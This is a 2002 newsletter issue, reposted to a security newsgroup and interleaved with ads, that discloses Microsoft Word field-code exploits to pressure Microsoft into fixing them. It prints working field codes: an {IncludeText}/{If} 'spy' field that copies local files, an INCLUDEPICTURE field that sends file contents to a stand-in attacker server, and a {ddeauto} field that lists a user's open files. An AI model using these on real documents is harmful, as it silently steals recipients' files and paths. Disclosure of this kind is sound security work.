

# What's the problem

*Source:* <http://www.derkeiler.com/Newsgroups/microsoft.public.security/2002-10/4639.html>

---

*From:* Mike ([mike@mmm.com](mailto:mike@mmm.com))

*Date:* 10/01/02

From: "Mike" <[mike@mmm.com](mailto:mike@mmm.com)>

Date: Tue, 1 Oct 2002 11:05:13 -0700

Subject:

WOW-MM #3.24 – Alice and spilling beans

Date:

Tue, 01 Oct 2002 12:47:17 -0400

From:

Woody's Office for Mere Mortals

<[wow-robot@woodyswatch.com](mailto:wow-robot@woodyswatch.com)>

To:

[mash@mpls.k12.mn.us](mailto:mash@mpls.k12.mn.us)

---==>> WOODY's OFFICE FOR MERE MORTALS <<===---

The in-depth, tutorial side of Woody's Office Watch

from

Woody Leonhard, Certified Office Victim

2 October 2002 Vol 3 No 24

[BOLD]>[72 pt> REVEAL the CODES in WORD <72  
pt]<BOLD]

[BOLD]>[ITALIC> If you're new to Word..  
<ITALIC]<BOLD]

[Emphasis> or you're a seasoned expert..  
<Emphasis]

[TrueStyle> You must try CrossEyes(r) Today!

[BkMk OurSite> <http://www.levitjames.com> <BkMk  
OurSite]

[BOLD]>[72 pt> \*\*\* Version 2.0 Now Shipping \*\*\* <72  
pt]<BOLD]

1. Spilling Some Beans
2. Recap: {Includetext} and Autoupdating
3. Alex and Richard's "Word Phones Home" Exploit
4. {DDEAuto} Automatically Delivers File Names
5. Relative Path Names
6. Secure Servers
7. Keep Mere Mortals Alive and Free

The easiest way to send HTML email for Outlook and OE –  
\$39.95  
with free Newsletters  
<http://www.templatezone.com/hiemailad.asp>

Stuck in first gear?  
Make the shift to fast full throttle vibrant COLOR with  
the Phaser  
6200.  
An affordable, high–performance office color laser  
printer that's  
FASTER than 90% of today's office printers at 16 ppm in  
full–color!  
Win a 50" HIGH–DEFINITION TV or a PHASER 6200 COLOR LASER  
PRINTER  
ENTER TO WIN at  
<http://psstt.com/1/c/31542/65146/210281/210281>  
<a href="<http://psstt.com/1/c/31542/65146/210281/210281>">  
AOL users  
click here </a>

~~~~~  
~~~~~

#### 1. SPILLING SOME BEANS

Alex Gantman dropped the bomb his "Document Collaboration  
Spyware" attack about five weeks ago. Microsoft's  
response,  
to date, has been one press release that doesn't even  
begin  
to hint at the severity of the problem. That's it. No  
security bulletin. No public warning. No interim  
solutions.  
Zip. Nada.

I've been trying to get 'Softie Management to commit to  
fixing this huge security hole in Word 97 – Microsoft's  
most–widely–used "orphan" product – because tens of  
millions of people still use Word 97. (There's no  
question  
MS will have to fix Word 2000 and 2002.)

I haven't heard a word out of Redmond. In fact, I've been  
getting the runaround. Several of you have reported that  
Microsoft's local marketing reps are saying, "Of course  
we'll fix Word 97." Frankly, given Office management's  
track record, until we see something carved in stone, I  
don't believe it. And I bet most of the marketing folks  
don't really believe it either.

I promised that, if Microsoft didn't commit to fixing Word 97, I'd start to give you lots of reasons why you should be very, very concerned about using Word – any version – in any sort of business environment.

This week, I'll make good on my promise.

If MS Management hasn't publicly committed to fixing Word 97 by next week, I'll show you even more.

~~~~~  
~~~~~

**\*\* Buy One Inkjet Cartridge – GET TWO FREE!! \*\***  
Buy 1 Get 2 FREE on Most Epson, Canon, and Apple Cartridges. Wholesale Pricing on Lexmark Cartridges. Free Shipping on orders \$25 or more!! U.S. Shipping Only. Click Here For a Complete List of Cartridges.  
<http://psstt.com/1/c/31542/56049/210281/210281>

<a href="http://psstt.com/1/c/31542/56049/210281/210281">AOL users click here </a>

2. RECAP: {INCLUDETEXT} AND AUTOUPDATING  
In the last three issues of WOW-MM, I stepped you through the process of creating Alex's original "spy" field. In a nutshell, here's how it works:

Alice is the bad guy. She knows the precise name and location of a file that Bob, the good guy, can get to. Alice sends Bob a Word document, asking him to make changes to it and send it back. When the document comes back, it contains the entire contents of the pilfered file Alice wanted to see.

If Bob is using Word 97 or 2000, the "spy" process takes place automatically and silently – Bob only has to tell Word to save changes after he's made his edits. If Bob is using Word 2002 (the version in Office XP), Alice has to convince him to "update the fields" in the document. The simplest way to do that is to convince Bob to print the document.

There are no macros involved. Nothing that will trigger any antivirus program. The pilfered document isn't visible from Word, no matter what settings you jimmy. As of this

moment

– until Microsoft fixes the hole – Bob's only protection (unless he's savvy enough to find and identify a "spy" field code) is Bill Coan's Hidden File Detector (<http://www.woodyswatch.com/util/sniff/> or <http://www.wordsite.com/HiddenFileDetector.html> ), which

I

talked about last week.

Technical note. Alex's original "spy" field code looks like this:

```
{If {IncludeText {If { Date } = { Date } "c:\a.txt"
"c:\a.txt" } } = "" "" }
```

and it pilfers the file automatically because Word 97 and 2000 can be coaxed into automatically updating {Date} fields and their surrounding {includetext} fields.

It gets worse.

~~~~~  
~~~~~

#### OFFICE DOC MANAGER + PROFESSIONAL WEB BROWSER

Research–Desk combines Excel, Word, PowerPoint, and a research oriented web browser into one super–MDI/tabbed application:

Create workspaces, save all open docs with one command, search across all open documents, save web pages, and much more...

<http://www.winferno.com/p/wow1>

### 3. ALEX AND RICHARD'S "WORD PHONES HOME" EXPLOIT

If you're the least bit comfortable with the "Document Collaboration Spyware" exploit, you should look at Alex's latest discovery, which he made public on September 19. Alex and Richard Edwards discovered that Alice can spy on Bob in a much more devious manner. I call it the "Word Phones Home" exploit.

Alice has her own Web server. She knows which file she wants to pilfer from Bob. She sends Bob a Word document. Bob opens the document and, if he's connected to the Internet, Word sends the contents of the pilfered file to Alice's server.

That's it. Bob doesn't have to save the document or send it

back to Alice. If Bob's using Word 97 or 2000, the pilfered file shows up on Alice's server automatically. If he's using Word 2002, Alice has to convince Bob to update the fields in the document – once again, most readily by convincing him to print the document. But there are no macros. No antivirus software catches it. There's nothing Bob can do besides running Bill Coan's Hidden File Detector – which DOES pick up this exploit.

There are some limitations. As far as Alex or Richard (or I) can tell, Word won't send more than about 230–or–so characters to the server. It's possible that some specific characters in the pilfered file will prevent all the contents of the file from showing up on Alice's server.

Alice can pilfer more than a file. For example, in Word 97 and 2000, Alice can set things up so Bob's name automatically gets sent to the server, too. (More precisely, Alice can send the current contents of the Tools | Options | User Information | Name entry. So if Bob sends a copy of Alice's document to Steve, when Steve opens it, Alice's server gets Steve's name, too.) If Bob (or Steve) is using Word 2002, Alice needs to convince Bob (or Steve) to update fields before the current user name will be sent.

Alice can also get the full file name of her snoopy document, including the path. So if Alice sends Bob a contract, and Bob sticks the contracts in with his other contracts, Alice's server will "see" where it's stored. Since the full-blown "Document Collaboration Spyware" exploit requires a precise file name and location, the path to the document could be very important information.

Or maybe not.

If Richard Smith's "Web bugs" worried you (<http://www.privacyfoundation.org/resources/webbug.asp>), this hole in Word should have you catatonic.

Alex and Richard illustrate the "Word Phone Home" exploit with this example:

```
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" &
{
  FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }
```

That would send the contents of c:\a.txt and the path of the current file to Alice's server.

In the real world, this field would be gussied up with the automatic-firing {date} field and hidden with the stealthy {if} field that Alex used to such devastating effect in the "Document Collaboration Spyware" exploit.

Still, Bill Coan's Hidden File Detector finds it.

~~~~~  
~~~~~

New Dealer Incentives and Manufacturer Rebates will help get you into that new car, truck or SUV. See how much you can

SAVE with a FREE dealer quote!

CLICK HERE:

<http://psstt.com/1/c/31542/65360/210281/210281>

<a href="http://psstt.com/1/c/31542/65360/210281/210281">

AOL users

click here </a>

#### 4. {DDEAUTO} AUTOMATICALLY DELIVERS FILE NAMES

I promised that I wouldn't divulge any of the other exploits that I've uncovered, as long as I was convinced Microsoft was working diligently to solve the problem.

My patience is wearing thin. Every single Word user has his

(or her) keester hanging out on this one. Microsoft...

oh,

don't get me started again.

So far, everything I've shown you has been published elsewhere. The bad guys already know about the problems.

You should know about them, too.

This next security hole, which uses Word's {ddeauto} field,

has already been published, too. In fact, it appeared in an

ancient book that came out ten years ago:

Addison-Wesley's

"Windows 3.1 Programming for Mere Mortals". Written by  
some  
dude named Woody Leonhard.

(In fact, the name of this newsletter – "Woody's Office  
for  
Mere Mortals" – owes more than a little to the title of  
that book. I love it when a plan comes together.)

Okay. Alice's number-one problem is finding precise file  
names and paths, right? She needs them to feed both the  
"Document Collaboration Spyware" exploit and the "Word  
Phones Home" exploit. Alice gets a lot of chances: one  
document can contain dozens, if not hundreds, of "spy"  
fields. So if she can get a good path, she can guess at  
file names till she's tired of typing.

I haven't figure out how to use Word fields to produce a  
complete list of all the paths or files on a PC. But I  
figured out – and published – more than a decade ago a  
trick that makes Word divulge a list of all currently  
open  
files, including their paths. That isn't quite the Holy  
Grail. But it could make for an interesting Monty Python  
routine.

Here's the field that produces a full list of all of  
Word's  
currently open files, including their paths:

```
{ddeauto winword system topics }
```

There are ways to make that field autoupdate, and to make  
Word hide the results.

Coupled with the Alex and Richard's "Word Phone Home"  
exploit, the possibilities get even more interesting.

Alice  
creates a document and sends it to Bob. Every time Bob  
opens the document, Alice's Web server surreptitiously  
receives a list of all the documents Bob currently has  
open. Alice sees a juicy file on the list, and sends Bob  
another document that pilfers it.

You still sure you want to use Word?

But wait. It gets worse.

~~~~~  
~~~~~

Earn your bachelor's or master's degree from University of Phoenix, the leading university for working professionals.

Earn your degree and still have time for your job, your family, your life.

<http://psstt.com/1/c/31542/74170/210281/210281>

[click here](http://psstt.com/1/c/31542/74170/210281/210281)

AOL users

click here

## 5. RELATIVE PATH NAMES

In fact, Alice doesn't need to know the precise path of the

file she wants to pilfer. She can use relative path names,

just like anybody else. In either the "Document

Collaboration Spyware" or "Word Phones Home" exploits,

this

works fine:

```
{includetext contract.doc}
```

Word picks up the file contract.doc from the current

folder. You don't need the path. Er, Alice doesn't need

the

path.

YODA in Woody's WINDOWS Watch ranted about this mistake in Microsoft's

press

release. MS is wrong. YODA is right. Much as it pains me

to

admit it. YODA said Microsoft was lying, I don't go that

far but it is hard to understand how the company could

make

such a statement when some simple testing would have

shown

it to be false. And there's been no correction published

so the falsehood still stands as I type this.

~~~~~  
~~~~~

Your Favorite TV Series now on VHS or DVD! Trial offer of your 1st volume for FREE (\$3.99 s&p—see series details).

You are under no obligation to buy more. Own I Love Lucy, Star Trek, MASH, Friends, Carol Burnett & many more.

Click below to receive this offer:

<http://psstt.com/1/c/31542/70015/210281/210281>

[click here](http://psstt.com/1/c/31542/70015/210281/210281)

AOL users  
click here </a>

## 6. \\\SECURE SERVERS

I'll end this little expose with an observation that hasn't yet been published, but one that's pretty obvious. In fact, Word 2002 will do all the dirty work for you.

If Bob has access to a file on a secure server, say

```
\\seureserver\topsecret\contracts.doc
```

It's very easy to create an {includetext} field that will pull that file into a Word document. If you use Word 2002's

Insert | Field command, Word will create the field for you.

It looks like this:

```
{includetext  
"\\\\seureserver\\topsecret\\contracts.doc"}
```

If you have read permission for a sensitive file on your company's server, you might want to give that field a try.

Just click Insert | Field, pick Includetext and follow the instructions.

Go ask Alice.

~~~~~

## 7. WHERE NEXT?

Fortunately, every single exploit I discussed in this edition of WOW-MM will be caught by Bill Coan's (FREE!) Hidden File Detector. If you have any sensitive documents at all, you need to run HFD on every single document that you receive from someone else. Download it and use it.

<http://www.woodyswatch.com/util/sniff/> or  
<http://www.wordsite.com/HiddenFileDetector.html>

Microsoft needs to fix the problems, fast, comprehensively, without completely screwing up Word fields. Frankly, I don't know how they can do it. But that's why they make the big bucks, eh?

What's the problem

As for me, I'll keep jumping up and down, yelling my head off about these field problems. If Microsoft doesn't publicly announce that a fix for Word 97 is coming, I'll continue to pepper you with examples that'll curl your hair. If you find a field security problem, shoot me mail!

mailto:[talk2woody@woodyswatch.com?subject=SecurityHoles](mailto:talk2woody@woodyswatch.com?subject=SecurityHoles)

P.S. If you use Word, you should be livid by now.

~~~~~  
~~~~~

#### 8. KEEP MERE MORTALS ALIVE AND FREE

If you like the no-nonsense style you see in this newsletter – the straight scoop, whether Microsoft likes it

or not, dished out in a way that won't put you to sleep – get one of my books!

"Windows XP All-In-One Desk Reference For Dummies", Hungry Minds

<http://www.woodyswatch.com/l.asp?0764515489>

"Special Edition Using Microsoft Office XP" with Ed Bott, Que

<http://www.woodyswatch.com/l.asp?0789725134>

"Special Edition Using Microsoft Office 2000" with Ed Bott, Que

<http://www.woodyswatch.com/l.asp?0789718421>

"Woody Leonhard Teaches Office 2000", Que

<http://www.woodyswatch.com/l.asp?0789718715>

#### ADMINISTRIVIA

If you want to know about subscribing, unsubscribing, changing your address, making comments, distributing copies

of WOW-MM – or you want to read about how we protect your privacy, or any of the usual legal mumbo-jumbo, please hop

over to your very own personalized WOW page at

[mash@mpls.k12.mn.us](mailto:mash@mpls.k12.mn.us)"><http://woodyswatch.com/info.asp?wowmm=mash@mpls.k12.mn.us>

This copy of WOW-MM was originally sent to [mash@mpls.k12.mn.us](mailto:mash@mpls.k12.mn.us)

#### ADVERTIZING

You, too, can reach the largest group of influential Office

microsoft.public.security: What's the problem

users on the planet for a mere pittance... send a message to Jan mailto:[ads@woodyswatch.com](mailto:ads@woodyswatch.com) and our ad folks will send you details.

Woody's Watch happily uses Dundee Internet for all web & list hosting <http://www.dundee.net/isp/default.asp>

Woody's OFFICE for Mere Mortals

Copyright 2002 by Peter Deegan. All rights reserved. ISSN 1443-7252.

=====  
W-O-O-D-Y-S--O-F-F-I-C-E--F-O-R--M-E-R-E--M-O-R-T-A-L-S

---  
To unsubscribe, forward (not reply) this message to [leave-wowmm-16905274L@lists.woodyswatch.com](mailto:leave-wowmm-16905274L@lists.woodyswatch.com)  
[[mash@mpls.k12.mn.us](mailto:mash@mpls.k12.mn.us)]